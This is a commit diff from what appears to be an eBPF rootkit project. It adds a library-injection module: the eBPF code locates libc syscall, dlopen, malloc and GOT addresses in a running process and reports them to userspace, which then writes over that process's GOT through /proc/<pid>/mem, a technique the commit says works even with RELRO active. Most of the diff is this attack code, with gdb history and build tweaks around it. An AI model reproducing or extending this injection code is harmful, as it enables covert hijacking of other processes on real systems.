Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

src/common/map_common.h

@@ -7,13 +7,21 @@ typedef enum {
     INFO,
     DEBUG,
     EXIT,
-    ERROR
+    ERROR,
+    VULN_SYSCALL
 } event_type_t;
 
 struct rb_event {
 	int pid;
     char message[RB_EVENT_MAX_MESSAGE_SIZE];
     int code;
+    __u64 syscall_address;
+    __u64 process_stack_return_address;
+    __u64 libc_main_address;
+    __u64 libc_dlopen_mode_address;
+    __u64 libc_malloc_address;
+    __u64 got_address;
+    int relro_active;
     event_type_t event_type;
 };
 

src/ebpf/include/bpf/defs.h

@@ -26,6 +26,8 @@ struct fs_open_data{ //Map value
 struct inj_ret_address_data{ //Map value
 	__u64 libc_syscall_address;
 	__u64 stack_ret_address;
+	__u64 relro_active;
+	__u64 got_address;
 };
 
 struct fs_priv_open{ //Map

src/ebpf/include/bpf/injection.h

@@ -10,6 +10,8 @@
 
 #include "../../../common/constants.h"
 #include "defs.h"
+#include "../../../common/map_common.h"
+#include "../data/ring_buffer.h"
 
 #define OPCODE_JUMP_BYTE_0 0xe8
 #define OPCODE_PLT_JMP_BYTE_0 0xff
@@ -166,16 +168,13 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
         __u64 buf = CODE_CAVE_ADDRESS;
         bpf_printk("Now writing to J_ADDR %lx\n", j_addr);
         if(bpf_probe_write_user(j_addr, &buf, sizeof(__u64))<0){
-            bpf_printk("FAILED TO WRITE J\n");
+            //Should not work if RELRO active
+            bpf_printk("FAILED TO WRITE JUMP\n");
         }else{
             __u64 got_addr_new;
             bpf_probe_read_user(&got_addr_new, sizeof(__u64), j_addr);
             bpf_printk("Success, new GOT is %lx", got_addr_new);
         }
-        bpf_printk("Now writing to CALL_ADDR %lx\n", call_addr);
-        if(bpf_probe_write_user(call_addr, &buf, sizeof(__u64))<0){
-            bpf_printk("FAILED TO WRITE CALL\n");
-        }
 
         //Now that we have the address placed in the GOT section we can finally go to the function in glibc
         //where the syscall resides. We read the opcodes and check that they are the ones expected
@@ -189,7 +188,7 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
             return -1;
         }
         
-        //We got the expected syscall.
+        //We got the expected syscall call in libc. Its format depends on glibc.
         //We put it in an internal map.
         __u64 pid_tgid = bpf_get_current_pid_tgid();
         if(pid_tgid<0){
@@ -205,6 +204,8 @@ static __always_inline int stack_extract_return_address_plt(__u64 stack){
         struct inj_ret_address_data addr;
         addr.libc_syscall_address = (__u64)got_addr;
         addr.stack_ret_address = 0;
+        addr.relro_active = relro_active;
+        bpf_probe_read(&addr.got_address, sizeof(__u64), &j_addr);
         bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_ANY);
 
         return 0;
@@ -254,18 +255,31 @@ int sys_enter_timerfd_settime(struct sys_timerfd_settime_enter_ctx *ctx){
             if(pid_tgid<0){
                 return -1;
             }
-            struct inj_ret_address_data *inj_ret_addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
-            if (inj_ret_addr == NULL ){
+            struct inj_ret_address_data *addr = (struct inj_ret_address_data*) bpf_map_lookup_elem(&inj_ret_address, &pid_tgid);
+            if (addr == NULL){
                 //It means we failed to insert into the map before
                 return -1;
             }
-            struct inj_ret_address_data addr = *inj_ret_addr;
-            addr.stack_ret_address = (__u64)scanner - ii;
-            if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, &addr, BPF_EXIST)<0){
+            //struct inj_ret_address_data addr = *inj_ret_addr;
+            //struct inj_ret_address_data addr;
+            //bpf_probe_read(&addr, sizeof(struct inj_ret_address_data), inj_ret_addr);
+            addr->stack_ret_address = (__u64)scanner - ii;
+            if(bpf_map_update_elem(&inj_ret_address, &pid_tgid, addr, BPF_EXIST)<0){
                 bpf_printk("Failed to insert the return address in bpf map\n");
                 return -1;
             }
-            bpf_printk("Final found return address: %lx\n", addr.stack_ret_address);
+            bpf_printk("Final found return address: %lx\n", addr->stack_ret_address);
+            bpf_printk("GOT address: %lx\n", addr->got_address);
+
+
+             //Tell userspace to perform operations on localized addresses
+            int pid = bpf_get_current_pid_tgid() >> 32;
+            ring_buffer_send_vuln_sys(&rb_comm, pid, addr->libc_syscall_address, 
+                addr->stack_ret_address, addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL, 
+                addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_DLOPEN,
+                addr->libc_syscall_address - GLIBC_OFFSET_MAIN_TO_SYSCALL + GLIBC_OFFSET_MAIN_TO_MALLOC, 
+                addr->got_address, addr->relro_active);
+
             return 0;
         }
     }

src/ebpf/include/data/ring_buffer.h

@@ -42,6 +42,31 @@ static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, eve
     return 0;
 }
 
+/**
+ * @brief Sends an event indicating a vulnerable syscall injection into the specified ring kernel buffer 
+ * 
+ * @return 0 if ok, -1 if error
+ */
+static __always_inline int ring_buffer_send_vuln_sys(struct ring_buffer *rb, int pid, __u64 syscall_address, __u64 process_stack_return_address, u64 libc_main_address, u64 libc_dlopen_mode_address, __u64 libc_malloc_address, __u64 got_address, int relro_active){
+    struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
+    if(!event){
+        return -1;
+    }
+
+    event->event_type = VULN_SYSCALL;
+    event->pid = pid;
+    event->libc_dlopen_mode_address = libc_dlopen_mode_address;
+    event->libc_main_address = libc_main_address;
+    event->libc_malloc_address = libc_malloc_address;
+    event->process_stack_return_address = process_stack_return_address;
+    event->syscall_address = syscall_address;
+    event->got_address = got_address;
+    event->relro_active = relro_active;
+
+	bpf_ringbuf_submit(event, 0);
+    return 0;
+}
+    
 
 
 

src/helpers/.gdb_history

@@ -1,76 +1,3 @@
-b *(test_time_values_injection+96)
-r
-si
-si
-q
-b *(test_time_values_injection+96)
-r
-si
-q
-b *(test_time_values_injection+96)
-r
-si
-x/32b 0x5555555556a9
-x/32x 0x5555555556a9
-x/2i 0x5555555556a9
-disass 0x5555555556a9
-disass /r 0x5555555556a9
-q
-b *(test_time_values_injection+96)
-r
-si
-disass /r 0x5555555556ae
-q
-b *(test_time_values_injection+96)
-r
-si
-disass /r 0x5555555556ae
-q
-r
-q
-r
-q
-b *(test_time_values_injection+96)
-r
-si
-q
-b *(test_time_values_injection+169)
-r
-si
-fin
-q
-b *(test_time_values_injection+169)
-r
-si
-q
-b *(test_time_values_injection+169)
-r
-si
-q
-r
-q
-r
-q
-r
-q
-r
-q
-r
-q
-r
-q
-r
-q
-disass test_time_values_injection 
-b *(test_time_values_injection+96)
-r
-si
-disass 0x7ffff7ede56c
-disass /r 0x7ffff7ede56c
-q
-b *(test_time_values_injection+96)
-r
-si
 q
 b *(test_time_values_injection+96)
 r
@@ -254,3 +181,76 @@ si
 x/2i 7ffff7f1d5b0
 x/2i 0x7ffff7f1d5b0
 q
+r
+q
+q
+r
+q
+r
+q
+q
+b *(test_time_values_injection+94)
+disass test_time_values_injection 
+b *(test_time_values_injection+167)
+r
+q
+b *(test_time_values_injection+167)
+r
+si
+q
+b *(test_time_values_injection+167)
+r
+x/10s 0x41350
+x/10s 0x405130
+x/10b 0x405130
+x/10i 0x405130
+q
+r
+q
+r
+q
+disass test_time_values_injection 
+b *(test_time_values_injection+94)
+r
+si
+fin
+fin
+si
+q
+b *(test_time_values_injection+94)
+r
+si
+x/20b 0x555555559fb0
+si
+x/20b 0x555555559fb0
+q
+r
+q
+r
+q
+b *(test_time_values_injection+94)
+r
+si
+si
+x/20b 0x555555559fb0
+x/20i 0x555555559fb0
+q
+b *(test_time_values_injection+94)
+r
+si
+x/20i 0x555555559fb0
+x/20b 0x555555559fb0
+si
+x/20b 0x555555559fb0
+x/20i 0x555555559fb0
+q
+r
+q
+r
+q
+r
+q
+r
+q
+r
+q

src/helpers/Makefile

@@ -9,10 +9,10 @@ injection_lib: injection_lib.o
 	gcc -Wall -shared -fPIC -o injection_lib.so injection_lib.c -ldl
 
 execve_hijack.o: execve_hijack.c $(HEADERS)
-	clang -g -c execve_hijack.c
+	gcc -g -c execve_hijack.c
 
 execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
-	clang -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
+	gcc -g -o execve_hijack execve_hijack.o -ldl -L. lib/libRawTCP_Lib.a
 
 clean:
 	-rm -f execve_hijack.o

src/helpers/peda-session-execve_hijack.txt

@@ -1,3 +1,2 @@
 break *(test_time_values_injection+94)
 
-

src/helpers/peda-session-sudo.txt

@@ -1,3 +1,11 @@
 break *(test_time_values_injection+94)
 disable $bpnum
 
+
+
+
+
+
+
+
+

src/user/include/utils/mem/injection.h

@@ -0,0 +1,37 @@
+#ifndef __MEM_INJECTION_EXT_H
+#define __MEM_INJECTION_EXT_H
+
+#include <unistd.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include "../common/constants.h"
+#include "../common/map_common.h"
+
+int manage_injection(const struct rb_event* event){
+    char mem_file_name[100];
+    char *buf="AAAAAAAAAAAAA";
+    int mem_fd;
+
+
+    memset( (void*)mem_file_name, 0, 100);
+
+    printf("Injecting at PID %d at %llx\n", event->pid, event->got_address);
+
+    sprintf(mem_file_name, "/proc/%d/mem", event->pid);
+    mem_fd = open(mem_file_name, O_RDWR);
+    lseek(mem_fd, event->got_address, SEEK_SET);
+
+    for(int ii=0; ii<8; ii++){
+        if(write(mem_fd, buf, 1) < 0 ){
+            perror("Writing");
+        }
+    }
+    
+
+    return 0;
+}
+
+#endif

src/user/include/utils/rop/extractor.c

@@ -1,6 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-
-#include "extractor.h"
-
-

src/user/include/utils/rop/extractor.h

@@ -1,6 +0,0 @@
-#ifndef __ROP_EXT_H
-#define __ROP_EXT_H
-
-
-
-#endif

src/user/kit.c

@@ -20,8 +20,7 @@
 #include "include/utils/strings/regex.h"
 #include "include/utils/structures/fdlist.h"
 #include "include/modules/module_manager.h"
-#include "include/utils/rop/extractor.h"
-
+#include "include/utils/mem/injection.h"
 #define ABORT_IF_ERR(err, msg)\
 	if(err<0){\
 		fprintf(stderr, msg);\
@@ -97,7 +96,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
 	tm = localtime(&t);
 	strftime(ts, sizeof(ts), "%H:%M:%S", tm);
 
-
+	//Before parsing any data, check the type
     if(e->event_type == INFO){
 		printf("%s INFO  pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
 	}else if(e->event_type == DEBUG){
@@ -106,6 +105,12 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
 
 	}else if(e->event_type == EXIT){
 
+	}else if(e->event_type == VULN_SYSCALL){
+		//eBPF detected syscall which can lead to library injection
+		printf("%s VULN_SYSCALL  pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i\n", ts, e->pid, e->syscall_address, e->process_stack_return_address, e->libc_main_address, e->libc_dlopen_mode_address, e->libc_malloc_address, e->got_address, e->relro_active);
+		if(manage_injection(e)<0){
+			printf("Library injection failed\n");
+		}
 	}else{
 		printf("UNRECOGNIZED RB EVENT RECEIVED");
 		return -1;